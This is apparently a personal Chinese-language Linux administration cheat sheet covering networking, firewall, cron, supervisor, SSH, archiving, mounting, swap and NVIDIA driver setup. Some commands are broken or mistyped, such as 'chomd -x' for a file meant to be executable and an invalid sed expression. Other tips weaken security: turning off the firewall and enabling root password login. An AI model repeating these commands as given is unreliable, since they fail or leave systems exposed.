用於顯示各種網絡相關信息,如網絡連接,路由表,接口狀態 (Interface Statistics),masquerade 連接,多播成員 (Multicast Memberships) 等等。
常見參數:
-a (all)顯示所有選項,netstat默認不顯示LISTEN相關
-t (tcp)僅顯示tcp相關選項
-u (udp)僅顯示udp相關選項
-n 拒絕顯示別名,能顯示數字的全部轉化成數字。(重要)
-l 僅列出有在 Listen (監聽) 的服務狀態
-p 顯示建立相關鏈接的程序名(macOS中表示協議 -p protocol)
-r 顯示路由信息,路由表
-e 顯示擴展信息,例如uid等
-s 按各個協議進行統計 (重要)
-c 每隔一個固定時間,執行該netstat命令。
查看tcp連接狀態:netstat -nat
幾種常用的狀態:LISTENING、ESTABLISHED代表一個打開的連接、TIME-WAIT等待足夠的時間以確保遠程TCP接收到連接中斷請求的確認
ss命令:
ss -tnl
與netstat的區別:更快
測試遠程端口狀態:
telnet命令:
概述:
基於TELNET協議的遠程登錄客戶端程序。Telnet協議是TCP/IP協議族中的一員,是Internet遠程登陸服務的標准協議和主要方式
允許一個用戶啟動遠程機器的login會話,遠程有一個守護進程telnetd監聽請求,默認23端口
使用者可以在telnet程序中輸入命令,這些命令會在服務器上運行,就像直接在服務器的控制台上輸入一樣。可以在本地就能控制服務器。
示例:
telnet 172.31.20.72 2003 測試服務是否通。
wget命令:
curl命令:
防火牆:
關閉防火牆:
service iptables stop
關閉開機自啟動防火牆:
chkconfig iptables off
chkconfig --list|grep ipt
ufw操作:
開啟/關閉:
ufw enable|disable
查看列表:
ufw status
增加:
ufw allow 22/tcp 允許所有的外部IP訪問本機的22/tcp (ssh)端口
ufw allow 53 允許外部訪問53端口(tcp/udp)
ufw allow from 192.168.1.100
ufw deny smtp
刪除記錄:
ufw delete allow smtp
進程:
查看進程:
ps -ef 顯示所有進程信息,連同命令行
-A :所有的進程均顯示出來,與 -e 具有同樣的效用;
-e :
-a : 顯示現行終端機下的所有進程,包括其他用戶的進程;
-u :以用戶為主的進程狀態 ;
c :列出程序時,顯示每個程序真正的指令名稱,而不包含路徑,參數或常駐服務的標示。
e : 列出程序時,顯示每個程序所使用的環境變量。
f : 列出程序時,顯示每個程序所使用的環境變量。
x :通常與 a 這個參數一起使用,可列出較完整信息。
后台運行進程:
&
nohup command &
kill進程:
sudo kill -9 `ps x | grep python | grep pdl_new_user_model_all_run | grep -v grep | awk '{print $1}'`
不能雙引號
等待進程被kill掉:
until [ [ `ps x|grep python|grep redis-cli|awk '{print $2}'` == 0 ] ]; do echo hello; sleep 1; done
查看進程的具體信息:
資源占用:
top -c
nvidia-smi
文件所在位置:
lsof -p PID cwd符號鏈接的是進程運行目錄;exe符號連接就是執行程序的絕對路徑;
ll /proc/PID 查看端口占用和進程調用文件
查看線程:
ps -eLf
環境變量:
臨時環境變量:
用於當前終端,一旦當前終端關閉或在另一個終端中,則無效。
export PATH=$PATH:<你的要加入的路徑>
例子:export PYTHONPATH=$PYTHONPATH:/home/usrname/models:/home/usrname/models/one
當前用戶變量:
在用戶主目錄下有一個 .bashrc 隱藏文件,可以在此文件中加入 PATH 的設置如下:
$ vim ~/.bashrc
加入:
export PATH=<你的要加入的路徑>:$PATH
添加PYTHONPATH的方法也是這樣,在.bashrc中添加
export PYTHONPATH=/home/zhao/setup/caffe-master/python:/home/zhao/setup/mypy:$PYTHONPATH
保存后在終端輸入 $ source ~/.bashrc 使環境變量立即生效
其他類似的地方
~/.pam_environment
~/.profile
~/.bash_profile
~/.bash_login
全局變量:
$ sudo gedit /etc/profile
加入:
export PATH=<你要加入的路徑>:$PATH
終端輸入:echo $PATH 可以查看環境變量
類似的地方:
/etc/profile.d/*.sh
/etc/environment文件是登錄Linux系統時的第二啟動文件.
其他設置env的地方:
1.設置了環境變量ENV_FILE=/pod.env,那么初始化時候就會導入這個文件
2.~/.ssh/environment文件,順序優先於ENV_FILE設置的變量,會被覆蓋。
注意,ssh 192.168.1.185 xxxx只會觸發~/.ssh/environment,不會觸發~/.bashrc ~/.profile
讀取順序:
login shell會讀取的文件有:/etc/profile、$HOME/.bash_profile,$HOME/.bash_login,$HOME/.profile,按以上順序讀取。
在圖形界面下,打開一個shell也是no login shell
no login shell 在打開的時候,執行的文件是:$HOME/.bashrc,而.bashrc又會執行/etc/bashrc文件。
通過sudo或者bash如何觸發/etc/.profile等文件
if [ -f /pod.env ]; then
. /pod.env
fi
bash -c ""肯定可以觸發用戶的~/.profile文件
sudo需要sudo -i bash -c ""或者 sudo bash -c "source /pod.env && "
定時任務:
運行shell環境:
默認是/bin/sh (supervisor不啟動shell,用不了shell的內置命令)
如果需要修改,指定
SHELL=/bin/bash
PATH=/usr/local/lib/python3.6/bin:/usr/bin:/bin 用不了$PATH
MAILTO=root
HOME=/data/webapps/ops.manage.ui
BASH_ENV=必須有權限訪問的路徑
分類:
crontab在/etc目錄下面存在cron.hourly,cron.daily,cron.weekly,cron.monthly,cron.d五個目錄和crontab,cron.deny二個文件。
cron.daily是每天執行一次的job
cron.weekly是每個星期執行一次的job
cron.monthly是每月執行一次的job
cron.hourly是每個小時執行一次的job
cron.d是系統自動定期需要做的任務
crontab是設定定時任務執行文件
cron.deny文件就是用於控制不讓哪些用戶使用Crontab的功能
編輯:
crontab -e 自動存放於/var/spool/cron/crontabs/用戶名 目錄中
crontab -u username -e root身份編輯其他用戶的crontab文件
格式:
* * * * * command
minute hour day month week command
分 時 天 月 星期 命令
特殊字符
星號(*):代表所有可能的值,例如month字段如果是星號,則表示在滿足其它字段的制約條件后每月都執行該命令操作。
逗號(,):可以用逗號隔開的值指定一個列表范圍,例如,“1,2,5,7,8,9”。
中杠(-):可以用整數之間的中杠表示一個整數范圍,例如“2-6”表示“2,3,4,5,6”。
正斜線(/):可以用正斜線指定時間的間隔頻率,例如“0-23/2”表示每兩小時執行一次。
同時正斜線可以和星號一起使用,例如*/10,如果用在minute字段,表示每十分鍾執行一次。
運行:
文件以用戶名命名.linux的cron服務是每隔一分鍾去讀取一次/var/spool/cron,/etc/crontab,/etc/cron.d下面所有的內容
/etc/crontab是針對系統的任務,其中的”run-parts”這個參數了,后接文件名。如果去掉這個參數的話,后面就可以寫要運行的某個腳本名,而不是文件夾名了
/etc/cron.d/ 這個目錄用來存放任何要執行的crontab文件或腳本。
查詢:
crontab -l
刪除:
crontab -r 刪除所有的crontab的工作內容,若僅要刪除一項,請用-e去編輯。
操作命令:
/sbin/service crond start //啟動服務
/sbin/service crond stop //關閉服務
/sbin/service crond restart //重啟服務
/sbin/service crond reload //重新載入配置
/sbin/service crond status //查看服務狀態
supervisor管理進程:
概述;
保證應用一直處於運行狀態,在遇到程序異常、報錯等情況,導致 web 應用終止時,需要保證程序可以立刻重啟,繼續提供服務。
安裝:
下載安裝:
wget https://pypi.python.org/packages/80/37/964c0d53cbd328796b1aeb7abea4c0f7b0e8c7197ea9b0b9967b7d004def/supervisor-3.3.1.tar.gz
tar zxf supervisor-3.3.1.tar.gz
mv supervisor-3.3.1 supervisor
cd supervisor
python setup.py install
python3安裝:
pip install git+https://github.com/Supervisor/supervisor
配置:
mkdir /etc/supervisor
echo_supervisord_conf > /etc/supervisord.conf
sudo vim /etc/supervisord.conf
修改[include]路徑:files = /etc/supervisord.d/*.conf
注釋掉port
sudo vim /etc/supervisord.d/test.conf
具體配置如下:
[program:test]
command=python /home/czl/test.py ; 被監控的進程路徑,對於django項目需要 --noreload
directory=/home/czl/ ; 執行前要不要先cd到目錄去,一般不用
priority=1 ;數字越高,優先級越高
numprocs=1 ; 啟動幾個進程
autostart=true ; 隨着supervisord的啟動而啟動
autorestart=true ; 自動重啟。。當然要選上了
startretries=3 ; 啟動失敗時的最多重試次數
exitcodes=0 ; 正常退出代碼(是說退出代碼是這個時就不再重啟了嗎?待確定)
stopsignal=TERM ; 用來殺死進程的信號
stopwaitsecs=60 ; 發送SIGKILL前的等待時間
redirect_stderr=true ; 重定向stderr到stdout
stdout_logfile=/tmp/test.log
操作:
啟動:
supervisord -c /etc/supervisord.conf
或/usr/bin/python /usr/local/bin/supervisord
重啟supervisord主進程:
supervisorctl reload 載入最新的配置文件,停止原有進程並按新的配置啟動、管理所有進程。
關閉supervisord:
supervisorctl shutdown
查看:
supervisorctl status
啟動或者停止服務:
supervisorctl stop|start|restart program_name
重讀所有配置文件:
supervisorctl reread
重讀后更新program配置:
supervisorctl update program名字
supervisorctl update
添加/移除任務
supervisorctl remove/add xxx
分組:
[group:model]
programs=dch,sms
PYTHONPATH環境變量設置:
[supervisord]
environment=PYTHONPATH='/home/ubuntu/data/code/feature-data-service' 為所有的program添加環境變量
瀏覽器訪問:
IP:port/
開機啟動:
1.Linux 在啟動的時候會root用戶執行 /etc/rc.local 里面的腳本,添加啟動命令即可
注意/etc/rc.local是/etc/rc.d/rc.local的軟鏈:ll /etc/rc.local
如果啟動失敗,查看/etc/rc.d/rc.local的執行權限
ll /etc/rc.d/rc.local
sudo chomd -x /etc/rc.d/rc.local
注:
/usr/bin/python或安裝全路徑,不能是python這種
python xxx.py 改為 nohup python xxx.py &
設置日志輸出:
/etc/rc.local文件開頭加入:
exec 2> /tmp/rc.local.log
exec 1>&2
set -x
切換用戶執行命令:
/bin/su - ubuntu -c "/usr/bin/supervisord"
問題:
讀取不了/etc/profile里面的環境變量,自啟動rc.local先於/etc/profile被系統執行,添加source etc/profile
2.或sh腳本放到 /etc/profile.d/下
目錄下的sh腳本會在用戶第一次登錄shell(包括新開shell會話也算)時自動執行
/etc/profile.d/比/etc/profile好維護,不想要什么變量直接刪除/etc/profile.d/下對應的shell腳本即可
3.或將啟動文件cp到 /etc/init.d/或者/etc/rc.d/init.d/(前者是后者的軟連接)下
cat /etc/init.d/test
sudo /usr/bin/nginx
sudo /bin/su - ubuntu -c "/usr/bin/supervisord"
sudo chmod 755 /etc/init.d/test
sudo update-rc.d /etc/init.d/test defaults 95
sudo update-rc.d -f test remove
service test status
centos系統下
腳本開頭需要添加注釋:
執行命令
sudo chkconfig --add nginx
sudo chkconfig --del nginx
1./lib/lsb/init-functions在centos下沒有,需要yum install redhat-lsb
2./lib/init/vars.sh網上搜下復制
3.start-stop-daemon在centos下也沒有,
wget http://developer.axis.com/download/distribution/apps-sys-utils-start-stop-daemon-IR1_9_18-2.tar.gz
cd apps/sys-utils/start-stop-daemon-IR1_9_18-2/
gcc start-stop-daemon.c -o start-stop-daemon
cp start-stop-daemon /usr/bin
環境問題:
不啟動任何shell,如bash或sh,不能使用內置shell命令,如source,
解決:/bin/bash -c 'source "$0" && exec "$@"' 后面接正常command即可
日志分割:
概述:
logrotate軟件
配置:
在/etc/logrotate.d/xx配置
多個路徑用空格分隔
/home/ubuntu/data/var/log/nginx/*.log {
su nobody root
daily
missingok
rotate 30
compress
dateext
delaycompress
notifempty
sharedscripts
prerotate
if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
run-parts /etc/logrotate.d/httpd-prerotate; \
fi \
endscript
postrotate
[ -s /run/nginx.pid ] && kill -USR1 `cat /run/nginx.pid`
endscript
}
手動執行logrotate:
logrotate /etc/logrotate.conf 每執行一次才分割
-d 測試運行,查看信息
-f 強制執行,一般會提示錯誤信息,如該日志文件是否有權限
如何確定某個配置是否生效:
logrotate -f /etc/logrotate.d/test.conf
定時執行:
在/etc/cron.daily/目錄下加入logrorate配置文件
如:
cd /var/lib/logrotate
test -e status || touch status
head -1 status > status.clean
sed 's/"//g' status | while read logfile date
do
[ -e "$logfile" ] && echo "\"$logfile\" $date"
done >> status.clean
mv status.clean status
test -x /usr/sbin/logrotate || exit 0
/usr/sbin/logrotate /etc/logrotate.conf
然后在/etc/crontab確定daily任務的執行時間
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
SSH:
密鑰:
新建命令:
ssh-keygen -t rsa -C "chenzl@akulaku.com"
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh # 目錄權限為700
ll -a ~/
使用:
將id_rsa.pub附加到其他服務器下的.ssh/authorized_keys,本機的id_rsa即可通過私鑰匹配公鑰訪問其他服務器
ssh -i ./id_rsa 可以指定私鑰,需要600。id_rsa的權限700 600都可以
配置:
.ssh/config文件可以配置多個登錄信息
根據sshkey私鑰生成公鑰:
ssh-keygen -y -f ~/.ssh/id_rsa > ~/.ssh/id_rsa.pub
檢測公私鑰是否匹配:
diff <( ssh-keygen -y -e -f ~/.ssh/id_rsa ) <( ssh-keygen -y -e -f ~/.ssh/id_rsa.pub )
ssh保持長連接不斷開:
1.修改/etc/ssh/sshd_config配置文件
ClientAliveInterval 60
ClientAliveCountMax 10
sudo service sshd reload
2.創建~/.ssh/config文件
ServerAliveInterval 60
保存退出,重新開啟shell,則再ssh遠程服務器的時候,不會因為長時間操作斷開。
3.修改/etc/profile配置文件
TMOUT=1800
30分鍾沒操作就自動LOGOUT
4.window下xshell工具設置
每間隔多少秒發送一個字符串即可
設置密碼登錄:
編輯 /etc/ssh/sshd_config 文件 將PasswordAuthentication 的值改為 yes
PermitRootLogin without-password 改為 PermitRootLogin yes
然后 ssh ubuntu@3.18.144.xxx
sudo service ssh restart
自動輸入密碼:
sshpass -p xxx scp $1 nferzhuang@192.168.1.101:$2
壓縮與解壓:
tar文件:
概述:
只是打包動作,將許多文件包為一個文件,相當於歸檔處理,不做壓縮;解壓也一樣,只是把歸檔文件釋放出來。
壓縮:
tar function options files(function與options之間沒有空格)
tar -cvf file.tar file1 file2
function:
-c, --create create a new archive 創建一個歸檔文件
-f, --file=ARCHIVE use archive file or device ARCHIVE 后面要立刻接被打包的檔案名,比如--file=examples.tar
-t,列出備份文件的內容
-P,絕對路徑打包(打的包解開時是絕對路徑,要注意這一點,通過-C /指定根目錄可解決)
-C,指定相對路徑(這個就是相對路徑了)tar cf test.tar -C /path/to directory
options:
-v, --verbose verbosely list files processed 顯示創建歸檔文件的進程,可以多個v,顯示更多的信息
-k,解開文件時保留已存在的文件
tar cv -T list.txt -f /dev/rft0 備份到設備中
解壓:
tar -xvf examples.tar (解壓至當前目錄下)
tar -xvf examples.tar -C /path (/path 解壓至其它路徑)
tar xvf tarfile files (解壓指定文件名)
-x, --extract, extract files from an archive 從一個歸檔文件中提取文件
-P,絕對路徑解包,后面接-C也沒用了,直接解壓到絕對路徑去
-C /path (/path 解壓至其它路徑,會報tar: Removing leading `/' from member names,不影響解壓)
執行tar xvf的用戶會作為新的擁有者,除了root執行是原擁有者
tar.gz:
概述:
tar.gz和tgz只是兩種不同的書寫方式,后者是一種簡化書寫,等同處理
這種格式是Linux下使用非常普遍的一種壓縮方式,兼顧了壓縮時間(耗費CPU)和壓縮空間(壓縮比率)其實這是對tar包進行gzip算法的壓縮
壓縮:
之前做法:
tar cvf tarfile files
gzip -9 tarfile
管道做法:
如果把tar讀取或寫入的文件指定為-,就會從標准輸入/輸出做讀寫的動作
tar cvf - files |gzip -9 > test.tar.gz
gunzip -9c test.tar.gz |tar xvf -
tar選項:
tar -zcvf examples.tgz examples (examples當前執行路徑下的目錄)
-z,
配套tar與bzip2
tar cvf tarfile.tar.gz
tar cvf tarfile.tar.gz
解壓:
tar -zxvf examples.tar (解壓至當前執行目錄下)
tar -zxvf examples.tar -C /path (/path 解壓至其它路徑)
tar.bz:
概述:
Linux下壓縮比率較tgz大,即壓縮后占用更小的空間,使得壓縮包看起來更小。但同時在壓縮,解壓的過程卻是非常耗費CPU時間。
壓縮:
tar -jcvf examples.tar.bz2 examples (examples為當前執行路徑下的目錄)
-j, --bzip2 filter the archive through bzip2 通過bzip2壓縮的形式對文件進行歸檔
解壓:
tar -jxvf examples.tar.bz2 (解壓至當前執行目錄下)
tar -jxvf examples.tar.bz2 -C /path (/path 解壓至其它路徑)
gz類型:
概述:
當壓縮完后,原文件會被刪除。傳多個文件時,會單獨壓縮為各自的gz
壓縮:
gzip file
gzip -N exsample.gz 恢復原文件名
ls |gzip > list.gz 管道壓縮
gzip -d examples.gz examples
gzip -1 -2 -3 --- -9 數字越小越快,默認-6
解壓:
gunzip examples.gz
gunzip -c list.gz|more 解壓到管道,或者用zcat命令,能直接查看壓縮文件的內容
查看信息:
gzip -l test.txt.gz
zip類型:
概述:
壓縮率並不是很高,不如 rar及 tar.gz 等格式。
壓縮:
zip -qr examples.zip examples (examples為目錄)
-x "log/*" 排除某些文件夾
-i "test/" 只壓縮某些文件夾
解壓:
unzip examples.zip
rar:
壓縮:
rar -a examples.rar examples
解壓:
rar -x examples.rar
7z:
apt-get install p7zip-full
7z x file.7z
重要目錄:
/bin 存放最基本的unix命令,如ls
/usr/bin 其他較不常用的命令,其實存放在/bin和/usr/bin的命令並沒有特殊區分,分開原因是早期unix一個目錄存放大小限制,換地方存放
/usr/sbin 作為系統管理用途的命令
/etc 子系統所用到的文件,子系統指:與網絡或周邊設備相關,如Nginx
/var 用於存放一些用於監控的文件,如日志文件
/usr/lib 標准函數庫,python安裝於此
關閉系統:
磁盤上常用的數據會通過高速緩存機制存在內存中,(一個是機械動作,一個是電子動作,差1000倍)
如果突發斷電,數據還沒寫回磁盤就消失
shutdown -r +10 10分鍾后重啟,這刻發出警告信息
shutdown -r +10 "reboot"
shutdown -r 13:00
shutdown -r now
shutdown -h 直接停機
文件系統:
常見文件系統類型:
ext2 ext4 最通用的linux文件系統
minix 原始的Minix文件系統,
NFS 運行存取於遠程網絡上的文件
格式化一個軟盤:
sudo mkfs -t ext4 /dev/vdb
擴容后刷新容量:
resize2fs 設備文件名 大小 在線擴容(mount狀態下),增大或收縮(未加載狀態)
掛載命令:
mount -t type device mount-point
-o 指定參數
-r 只讀,等於 -o ro,對於光盤類的介質,掛為只讀狀態是必要的,默認rw讀寫
type 就是文件系統的類型,device是文件系統所在的 實際設備(就是/dev下的設備文件),
ext2 linux目前常用的文件系統
nfs 網絡文件系統
ext3 是ext2文件系統啟用日志的版本。
ext4 ext3的升級版,包含一系列重要的性能和可靠性改進,並大大提升了文件系統中卷、文件、目錄的最大尺寸。
tmpfs是一種虛擬內存文件系統,而不是塊設備。是基於內存的文件系統
tmpfs默認的大小是RM的一半
對於tmpfs本身而言,它並不知道自己使用的空間是RM還是Swap,這一切都是由內核的vm子系統管理的。
VM由RM+Swap兩部分組成,因此tmpfs最大的存儲空間可達(The size of RM + The size of Swap)。
每次開機會自動清空
Overlayfs是一種堆疊文件系統,它依賴並建立在其它的文件系統之上(例如ext4fs和xfs等等),並不直接參與磁盤空間結構的划分,
僅僅將原來底層文件系統中不同的目錄進行“合並”,然后向用戶呈現。
mount-point則是要掛載該文件系統的目錄名稱, 在使用這個命令之前,您必須先建立該目錄。
umount 將文件系統脫離掛載點
將系統緩存區內所暫存的數據寫回該磁盤上文件系統,使其數據與內存同步,然后讓該文件系統與原先掛載的目錄脫離關系
umount /dev/fd0
注:該命令對於可拆卸設備如軟盤、光盤、zip等,取出前需先執行該命令,進行卸載,以同步內存緩存數據
也可通過
sync
命令強制系統把文件系統緩沖區內的所有資料寫回實際的媒質
mount查看掛載清單
lsblk列出設備信息
mount -a
把所有列在/etc/fstab的文件系統都掛上,通常在系統啟動時由/etc/rc.d 中的script立件(例如rc.sysinit)所執行,
這樣系統啟動后您的硬盤分區、光驅等等,都將被自動掛上,除了root文件系統
root文件系統/包含了/etc/fstab /etc/rc.d,所以內核必須在啟動時直接掛載root文件系統
非root權限下進行掛載與卸載:
1.在/etc/fstab文件中為該設備加上user的參數, 這使得所有用戶都可以用 mount 和 umount 命令來掛載或卸載該設備。
如:
/dev/mapper/vg_study-lv_study /lvm_study ext4 defaults 0 0
格式:
device設備名或者卷標 mount-point掛載點(也就是掛載目錄) type所要掛載設備的文件系統或者文件系統類型 options
第1列是設備名或者卷標
第2列是掛載點(也就是掛載目錄)
第3列是所要掛載設備的文件系統或者文件系統類型
第4列是掛載選項,通常使用defaults就可以
options是一組逗號分割的選項,即-o 后的參數 -default:啟用幾個內定的掛載方式。如rw、async(高速緩存),只讀記得改為ro
第5列設置是否使用dump備份,置0為不備份,置1,2為備份,但2的備份重要性比1小
第6列設置是否開機的時候使用fsck檢驗所掛載的磁盤,置0為不檢驗,置1,2為檢驗,但置2盤比置1的盤晚檢驗。
2.使用mount的前端界面(frontend)程序,這些程序執行時會setuid為root
置換空間:
概念:
凡是用來增加系統可使用內存容量的磁盤空間都算
在linux下,置換空間作為分頁paging使用:當實際內存不足時,就把部分內存頁暫時存放到磁盤上,必要時才換回來。
虛擬內存:
向磁盤借來的空間雖然不是內存,但當內存來使用,所以一般也稱為虛擬內存
速度要慢1000倍以上
種類:
1.獨立的磁盤分區
效果較好,因為磁盤分區可以保證連續的
2.文件系統中的文件
文件對應的磁盤分區可能被分散在文件系統的各處
free命令:
total used free shared buffers cached
Mem: 32948224 28230928 4717296 3084 167740 15865012
-/+ buffers/cache: 12198176 20750048
Swap: 0 0 0
total:內存總量,不包含內核為了各自需要所使用掉的部分,所以實際內存要大一點
shared:被共享的內存
buffers:緩沖區容量,內存與磁盤之間的高速緩存區使用,加快磁盤使用
swap:total顯示的容量小於置換分區與置換文件容量的總和,因為各個置換區中,都會有幾個用以映射對應內存頁的扇區
建立:
置換分區:fdisk建立分區
置換文件:新建文件並塞置換空間容量大小的內容
sudo dd if=/dev/zero of=/swap bs=1024 count=8192 # /dev/zero的任何讀取動作都會一直傳回0
mkswap -c /swap 8192 格式化
sync 確保同步格式化命令
swapon /swap
開機啟動:
可以將swapon -a加入/etc/rc.d/rc.sysinit
在/etc/fstab文件中加入 /swap none swap sw
停用:
swapoff device
刪除該文件
刪除/etc/fstab對應信息
永久關閉swap:
1. swapoff --all
sed -i 'd/swap/d' /etc/fstab
4. update-grub && update-initramfs -u
5. echo "vm.swappiness = 0">> /etc/sysctl.conf
sysctl -w vm.swappiness=0
釋放buff內存:
sudo sh -c 'echo 1 >/proc/sys/vm/drop_caches'
sudo sh -c 'echo 2 >/proc/sys/vm/drop_caches'
sudo sh -c 'echo 3 >/proc/sys/vm/drop_caches'
設備文件:
設備文件都是放在/dev目錄下, 系統上的每個設備在/dev下都應該有個對應的項目
權限列表首字符:
b:扇區設備文件
-:一般文件
d:目錄
c:字符設備文件
增加新設備文件:
mknod -m permissions name type major minor
如:
mknod -m 666 /dev/bogus b 42 0
刪除:
不會從內存或內核把對應的設備驅動程序刪除,只是再無法通過該設備文件與設備的驅動程序產生交互
設備文件只是為特定的設備驅動程序提供一個掛鈎,使得該驅動程序可以存在內核之中
備份:
是否使用壓縮:
壓縮后的文件如果小部分的備份區域損壞了,gzip等壓縮算法依靠數據連貫性來達到壓縮效果的,無法解壓
而tar能恢復大部分數據
增量式備份:
搞清楚哪些文件距離上次備份時間,發生了修改
$ sudo find / -mtime -1 \! -type d -print > list.txt
!否定運算符,\!轉義,否則解釋為特殊字符
-print會打印到標准輸出
然后備份
tar cv -T list.txt -f /dev/rft0 備份到設備中
設置終端屬性:
setterm能夠設置鍵盤重復速度、制表符距離和字符顏色
如setterm -foreground white -background black
本地掛載服務器路徑:
DokanSetup_redist-1.0.0.5000.exe + WinSSHFS-1.6.1.13-devel.msi
https:
https:
安裝這兩個即可
查找:
查找文件夾中內容包含關鍵字的文件:
find / -name '*.txt' | xargs grep 'route'
find / -name '*.txt' -type f| xargs grep 'route'
在根文件夾下查找后綴名為txt且含有關鍵字route的文件,列出文件名和route所在行。
如何防止一行內容太多:
for i in /usr/share/nginx/html/*;do echo $i; cat $i|grep -o ".\{0,50\}download.worker.481212127e8dc3dd8fa8.js\{0,50\}";done
壓測:
CPU:
docker run -it
/usr/bin/stress-ng
起一個進程對cpu壓測
- name: myapp
image: ikubernetes/stress-ng
command: ["/usr/bin/stress-ng","-c 1","--metrics-brief"]
resources:
requests:
cpu: "200m"
memory: "128Mi"
limits:
cpu: "500m"
memory: "512Mi"
(100 - (avg by (instance)(irate(node_cpu_seconds_total{mode="idle"}[300s])) * 100))>80
內存:
stress-ng
/usr/bin/stress-ng
使用率:
(node_memory_MemTotal_bytes - node_memory_MemFree_bytes - node_memory_Buffers_bytes - node_memory_Cached_bytes)/
node_memory_MemTotal_bytes > 0.8
GPU:
docker pull chrstnhntschl/gpu_burn:latest
docker run --rm -it --entrypoint="" chrstnhntschl/gpu_burn bash
/root/gpu_burn
nvidiasmi_utilization_gpu
nvidiasmi_utilization_memory
磁盤
/usr/bin/stress-ng --io 5 --metrics-brief
node_filesystem_free_bytes / node_filesystem_size_bytes
dd if=/dev/zero of=file bs=1M count=20000
國內換源:
apt:
sed -i 's|https\?://[^/]\+/|http://mirrors.aliyun.com/|' /etc/apt/sources.list && apt-get update
pip:
pip3 install
~/.pip/pip.conf(window下%HOMEPATH%\pip\pip.ini)
python3 -m pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/
[global]
index-url = http://pypi.douban.com/simple
[install]
trusted-host=pypi.douban.com
臨時使用:
pip install some-package -i https://mirrors.aliyun.com/pypi/simple/
conda:
conda config
conda config
conda config
docker:
/etc/docker/daemon.json
"registry-mirrors":["https://expuzg6d.mirror.aliyuncs.com"]
systemctl restart docker
window下
https:
https:
右鍵應用settings配置docker engine
{
"registry-mirrors": ["https://expuzg6d.mirror.aliyuncs.com"]
}
npm:
npm --registry https://registry.npm.taobao.org install express 臨時
npm config set registry https://registry.npm.taobao.org 永久使用
github:
暫無
nvidia驅動:
docker如何使用顯卡:
apt-get install nvidia-container-runtime
window暫無nvidia-docker,但目前僅在Linux平台上支持,所以docker使用不了gpu
卸載:
sudo apt-get -y purge *nvidia*
apt-get remove
apt -y autoremove
rm /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.1 (可以手動link)
dpkg -l | grep -i nvidia
dpkg
關於/proc/driver/nvidia/version仍然顯示
cat /proc/driver/nvidia/version
lsmod | grep nvidia
rmmod nvidia
rmmod不了的問題:
發現大量irq/nvidia進程,kill -9 殺不掉,原因是圖形界面用到的。
systemctl set-default multi-user.target
reboot 0
systemctl set-default graphical.target
reboot 0
方法二:
lsof -n -w /dev/nvidia*查看哪個服務在占用,然后停掉
可能到這部,nvidia-smi等工具還能執行,lsmod查看內核模塊仍然加載,那么執行:
nvidia-uninstall(推薦)
reboot
重啟后查看內核mod確認
識別NVIDIA顯卡型號
update-pciids 更新PCI ID database
lshw -numeric -C display
lspci | grep -i nvidia
查看nvidia驅動和NVRM版本
dpkg
cat /proc/driver/nvidia/version
識別顯卡模型和推薦的驅動程序
apt install ubuntu-drivers-common
ubuntu-drivers devices
下載顯卡驅動
方法一:
https://us.download.nvidia.com/XFree86/Linux-x86_64/304.88/NVIDIA-Linux-x86_64-304.88.run
http://us.download.nvidia.com/XFree86/Linux-x86_64/440.82/NVIDIA-Linux-x86_64-440.82.run
https://us.download.nvidia.com/XFree86/Linux-x86_64/450.66/NVIDIA-Linux-x86_64-450.66.run
https://us.download.nvidia.com/tesla/410.104/NVIDIA-Linux-x86_64-410.104.run
module-init-tools
kmod
gcc
make
sh NVIDIA-Linux-x86_64-430.26.run
卸載通過nvidia-uninstall比較干凈
方法二:
apt-get install nvidia-384/nvidia-driver-440
方法三:
ubuntu-drivers devices
ubuntu-drivers autoinstall
方法四:
cuda run包自帶driver,可以安裝指定對應cuda版本的driver版本
測試運行:
distribution=$(. /etc/os-release;echo $ID$VERSION_ID) \
&& curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | sudo apt-key add - \
&& curl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.list | sudo tee /etc/apt/sources.list.d/nvidia-docker.list
&& apt update
apt-get install -y nvidia-docker2
docker run
深究原因:
這是因為鏡像編譯的Dockerfile指定了ENV NVIDIA_VISIBLE_DEVICES=all,docker run的時候能看到所有卡
類似的,k8s啟動pod的時候,
1.如果resource指定了nvidia.com/gpu: 非0的數量,那么會攜帶環境變量NVIDIA_VISIBLE_DEVICES=xxx,這樣容器內只能獲取指定卡
如果指定了NVIDIA_REQUIRE_CUDA,但安裝不是相應的,比如只安裝了cuda.run包,非apt方式,那么會導致pytorch等框架使用失敗
2.如果resource指定了nvidia.com/gpu: 0,
沒有環境變量CUDA_VERSION,這個時候device-plugin才不會獲取任何卡,smi以及驅動也不會拷貝
有環境變量CUDA_VERSION
有變量NVIDIA_VISIBLE_DEVICES(none或all(pod和kfserving中表現不一樣,pod不能看到,kfserving能看到所有卡)都一樣)或NVIDIA_REQUIRE_CUDA,獲取不了任何卡
沒有變量NVIDIA_VISIBLE_DEVICES或NVIDIA_REQUIRE_CUDA,會獲取所有卡
3.如果沒有指定nvidia.com/gpu: 0
- 鏡像自帶環境變量NVIDIA_VISIBLE_DEVICES=all/none,那么pod看不到任何卡
- 鏡像不自帶環境變量NVIDIA_VISIBLE_DEVICES,
鏡像帶有環境變量NVIDIA_REQUIRE_CUDA="cuda>=10.1 brand=tesla,driver>=384,driver<385 brand=tesla,driver>=396,driver<397 brand=tesla,driver>=410,driver<411",不會掛載任何卡
鏡像不帶環境變量NVIDIA_REQUIRE_CUDA,默認掛載所有卡
重大bug:
如果鏡像沒有環境變量VIDIA_VISIBLE_DEVICES或NVIDIA_REQUIRE_CUDA,那么會加載所有卡
比較推薦的方法:
yaml文件定義env,NVIDIA_REQUIRE_CUDA,但非0個gpu時,而且不是apt安裝的方式,會導致推理框架使用不了。
還是推薦dockerfile設置env NVIDIA_VISIBLE_DEVICES=none
NV_GPU=0 nvidia-docker run
docker run
容器內是否需要安裝驅動:
目前看來只需要安裝cuda即可,driver相關通過nvidia-docker這個runtime來處理,鏡像不需要安裝。
問題:
